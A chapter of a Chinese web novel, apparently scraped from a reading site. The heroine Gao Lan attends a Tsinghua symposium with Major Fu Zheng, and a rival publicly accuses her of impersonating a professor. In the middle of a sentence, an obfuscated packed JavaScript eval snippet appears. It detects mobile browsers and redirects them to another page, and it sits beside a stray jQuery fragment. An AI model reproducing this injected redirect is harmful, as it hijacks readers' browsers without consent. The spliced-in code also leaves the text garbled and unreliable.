高澜看了他一眼,那眼神里的意思很明显,你这个少校是不是太悠闲了?
一天到晚不训练,有空带小姑娘兜风?
“诶,”傅征不服气了,“我带你出来参观容氏集团的研究院,你居然连句谢谢都没有?太不仗义了吧。”
“谢谢。”
两个字,干干脆脆,不带一点温度。
傅征愣了一下,心里像是被什么东西戳了一下。还不如不谢呢,这话听着比不说还疏远。
他张了张嘴,正想说点什么,一个工作人员从走廊那头走过来,手里拿着一封请柬。
“傅少校,清华园发来的邀请函,春耕农机大考学术研讨会,请您出席坐镇。”
傅征接过来扫了一眼,眉头就皱起来了,“这玩意邀请**什么?不去。”
什么清华园,清华教授一天到晚的,没完了。
工作人员站着没动,又补了一句,“这次的学研会,老爷子也是主办方之一,他说您必须去。”
傅征一顿。
这老头!
“上次清华教授带着学生去军区参观,您没见上面。
那天学术会上殷素同志的阐述您也没听完。
老爷子说,这次不能再推了。”
傅征这才想起来,好像确实有这么一回事,学术会那天,他确实听了一半就跟着高澜出去了。
可他今天本来想带高澜出来走走……
他转念一想,眼睛忽然亮了。
这不现成的大佬在他面前站着么?能修火车,能修东方红,到了清华还不得吊打那帮老骨头。
请她去,准没错。
“既然这样,”傅征转头看着高澜,“那你跟我一起去吧。”
高澜看了他一眼,面无表情,“关我什么事。”
“好,你不去,那我也不去。”
傅征干脆利落地转头对工作人员说,“就这么跟我爹回吧。”
高澜白了他一眼。
总是拿她当挡箭牌。
她看了眼远方,想了一下还是算了,看在他带她来看强-5研究进度的份上。
“去。”
傅征等的就是她这句话。
话还没落地,他已经笑了,一把拉住她的手,步子迈得又大又快,高澜几乎是被他拽着走的。
“你慢点!”
“慢不了。”他头也不回,语气里压着几分高兴,“趁你没反悔,赶紧走。”
两人一前一后上了吉普车,傅征发动车子,方向盘一打,径直驶出研究院大门。
后视镜里,那栋灰白色的大楼越来越远,最终缩成一个小点。
实验室里,容承阙追了出来,指尖还捏着那张纸条。
只一眼,他就知道,这组数字绝不是傅征能写出来的。
他停在门口,望着远去的车影。
副驾上的人影侧脸清瘦,几缕发丝被风掀起,清冷得很扎眼。
是她。
高澜。
也只有她,能写出这样惊人的东西。
车子停稳的时候,高澜才发现这儿跟军区研究院完全是两个世界。
灰砖楼,拱形门窗,路两边的梧桐刚抽了新芽,嫩绿嫩绿的。
三三两两的人往里走,有穿中山装的,有穿工装的,个个步履匆匆,脸上带着一种学术人特有的认真劲儿。
傅征从兜里掏出两个胸牌,一个挂在自己脖子上,另一个递给她。
“戴上。”
高澜接过来,低头看了一眼。
高澜两个字下面写着“技术特聘”几个字,上面盖着傅氏集团的红章。
她没多想,随手挂在了脖子上。
傅征嘴角翘了翘,什么也没说,带着她就往里走。
门口的工作人员接过证件,看了一眼,又看了一眼高澜,目光肃然起敬,然后双手递回来。
“教授,请进。”
傅征点点头,拉着高澜进了会场。
高澜没注意那声教授叫的是谁,她以为叫的是傅征。
和上次一样,傅征走到哪儿都是焦点。
刚进会场没几分钟,就被人团团围住。
高澜乐得清净,墙边摆着几台农机模型,擦得锃亮,她凑过去看了两眼,做工还行,数据标得马虎。
她摇了摇头,转身往边上走。
逛了两圈,实在无聊,她寻了个洗手间的方向,推门进去。刚推开门,隔间里就飘出压低的笑谈。
“到时候倒进水里……”
“神不知鬼不觉……”
“你表姐不是把……”
声音压得极低,却字字清晰。
高澜眉梢微挑,直接拧开水龙头。
哗哗水流瞬间填满洗手间,隔间里的话音戛然而止。
两秒后,门被推开。
一个踩着高跟鞋的女人走出来,上下扫过高澜身上的朴素工装,目光落在空白照片的胸牌上,嘴角撇出一抹轻蔑。
“哪来的野丫头,敢偷听我们说话?”
高澜关了水龙头,抽纸擦手,没理她,转身就走。
一只手猛地横过来,拦住去路。
“让你走了吗?”女人声音压得阴狠,“臭丫头胆子不小,知道姐们几个是谁吗?”
那人洋洋得意,下巴抬得老高,脸朝天用鼻孔看人。
高澜看着她,忽然淡笑。
笑意很浅,眼底却无半分温度。
“形而下者,谓之器。”
几个人一愣,面面相觑,显然没太听懂她的话,但都听得出来不是什么好话。
等她们反应过来的时候,高澜已经推开门走出去了。
为首的那人脸色一变,抬脚就要追。
“你!”
旁边的人一把拉住她,压低声音,“曼妮姐,别冲动!外面都是有头有脸的人,闹大了不好看。”
“臭丫头居然敢骂我!”
温曼妮这才反应过来,那不是易经里面老子说的形而下者,谓之器吗?
她居然骂她是低级的工具!岂有此理!
旁边人连忙拉住她,“曼妮姐,别冲动!外面都是有头有脸的人,闹大了丢的是温家的脸。”
“就是,一个乡下来的野丫头,犯不着跟她一般见识。等会儿有的是机会收拾她。”
温曼妮深吸一口气,理了理头发,重新挂上得体的笑。
“说得对。”
等高澜回到会场,随手翻起宣传册,温曼妮立刻堵到她面前,笑得假惺惺。
“哟,这你也看得懂?”
高澜没抬头。
温曼妮就往她跟前凑了凑,目光落在她胸前的牌子上,本来想再损两句,忽然顿住了。
“技术特聘”四个字,底下盖着傅氏集团的红章。
她的脸色变了一瞬。
技术特聘,那是教授级别才有的待遇。
眼前这丫头才多大?看着也不过十几岁的模样,怎么可能是傅氏集团的特聘教授?
温曼妮越看越觉得不对,尤其是照片那一栏,怎么是空白的。
别人都有照片,就她没有,这算怎么回事?
“好你个臭丫头,”她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454589|201206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的声音一下子拔高了,“竟敢在清华大学冒充教授?”
话音刚落,她一把扯下了高澜胸前的牌子。
胸牌上的绳子一下就断了,发出一声轻微嘭的声响。
高澜的手指在宣传册上停了一秒,然后慢慢抬起头。
那女人的声音足够大,大到附近几排的人都扭过头来看。
“快看看,”她把牌子举起来,“这丫头居然敢冒充傅氏的技术特聘,她冒充教授!”
说着,像是连温曼妮都不可思议地笑了起来。
“你可真敢写啊,知道傅氏集团意味着什么吗?”
“军工世家!
机械研究领域的权威,行业里面骨灰级的存在。
你要是技术特聘,那我们岂不是过来凑数的?”
周围的目光齐刷刷地聚过来,有看热闹,也有审视的。
“是啊,这十几岁的小姑娘,怎么能是教授?”
“胆子也太大了,不会是她自己写的吧?”
“这可是清华园的会场……”
窃窃私语像水波纹一样一圈一圈地荡开。
高澜站在那里,腰背挺得笔直,脸上什么表情都没有。
她看着那个女人手里举着的胸牌,目光淡淡的,像事不关己一般。
温曼妮被她这个眼神看得有点发毛,却想到她连胸牌都敢**。
哪个教授能穿成她这样就来开会?
糊弄谁呢!
“保安!快把这个来路不明的野丫头给我赶出去,清华农耕大考的会场,怎能让这种人往里混了?”
温曼妮的叫嚷引来大群围观者。
温家在省城颇有脸面,在场不少人都认得她。
保安队闻声迅速赶来。
这是傅老爷子特意安排在会场的人手,个个身形挺拔,制服利落。
领头的中年男人拨开人群,先看了眼温曼妮高举的胸牌,再望向高澜。
“出什么事了?”
“这个女人是冒牌教授!”温曼妮嗓门拔高,恨不得传遍全场,“年纪轻轻就顶着傅氏技术特聘的头衔,你不觉得可笑吗?”
她嗤笑一声,上下扫过高澜的衣着,“哪个正经教授穿成这样?分明是乡下来的野丫头,伪造证件混会场!”
保安组长接过胸牌细看。
证件样式、印章都没错,唯独照片一栏空白。他皱紧眉,直觉这事不简单。
“稍等,我去核实。”他吩咐手下。
会场瞬间安静,所有人的目光都钉在高澜身上。有人同情,有人看戏,更多人漠不关心。
高澜却半点不急。
本只是陪傅征来应付,没想到遇上这出戏,她懒得周旋,干脆拉过椅子坐下,慢悠悠翻起宣传册,仿佛周遭一切都与她无关。
不多时,手下跑回,对着保安组长摇了摇头。
没查到。
保安组长脸色一沉,走到高澜面前,语气再无半分客气,“这位同志,档案里没有你的信息,请你立刻离开会场。”
人群立刻炸开窃窃私语。
“果然是假冒的……”
“胆子也太大了,清华的会场也敢闯。”
“现在的年轻人,真是不知所谓。”
议论声如潮水涌来,一句比一句刺耳。
高澜合上手册,缓缓抬眼。
她端坐椅上,脊背笔直,面上无怒无悲,唯有一双眼清冷淡漠,像深秋寒潭,一眼望不穿。
“你确定要让我走?”她声音不高,字字清晰,“不再确认一遍?”